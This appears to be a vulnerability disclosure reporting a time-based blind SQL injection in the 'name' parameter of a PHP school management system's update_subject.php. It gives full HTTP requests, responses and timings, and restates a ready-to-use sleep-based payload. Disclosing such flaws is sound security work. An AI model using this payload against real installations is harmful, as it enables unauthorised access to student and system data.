

SQL injection vulnerability exists in name parameter of /model/update_subject.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 2s:

Request

```
1 GET /std1/model/update_subject.php?do=update_subject
  &id=15&name=
  0'XOR(if(now()=sysdate())%2Csleep(1)%2C0))XOR'Z
  HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:52:06 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 9
8
9 [",",",",2]
```

Done 196 bytes | 2,005 millis

Sleep time is 8s:

Request

```
1 GET /std1/model/update_subject.php?do=update_subject
  &id=15&name=
  0'XOR(if(now()=sysdate())%2Csleep(4)%2C0))XOR'Z
  HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:51:21 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 9
8
9 [",",",",2]
```

Done 196 bytes | 8,017 millis

Payload: name=0'XOR(if(now()=sysdate())%2Csleep(1)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>